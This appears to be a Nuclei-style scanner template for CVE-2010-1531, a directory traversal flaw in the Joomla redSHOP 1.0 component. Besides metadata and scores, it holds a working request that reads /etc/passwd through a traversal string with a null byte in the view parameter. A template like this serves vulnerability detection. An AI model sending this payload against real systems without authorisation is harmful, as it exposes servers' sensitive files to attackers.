id: CVE-2010-1531

info:
  name: Joomla! Component redSHOP 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the redSHOP (com_redshop) component 1.0.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12054
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1531
    - http://packetstormsecurity.org/1004-exploits/joomlaredshop-lfi.txt
    - http://redcomponent.com/redshop/redshop-changelog
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57512
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1531
    cwe-id: CWE-22
    epss-score: 0.02624
    epss-percentile: 0.85873
    cpe: cpe:2.3:a:redcomponent:com_redshop:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redcomponent
    product: com_redshop
  tags: cve2010,cve,lfi,edb,packetstorm,joomla,redcomponent,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redshop&view=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048c01b90a1eccf292f38607eea16442cb606dedf992eb1fdcb998b027541ba84022100fae975469b2d44d8737e2a65ec2ad60ad2ead67c2873b0ab7fde0c74ab22958a:922c64590222798bb761d5b6d8e72950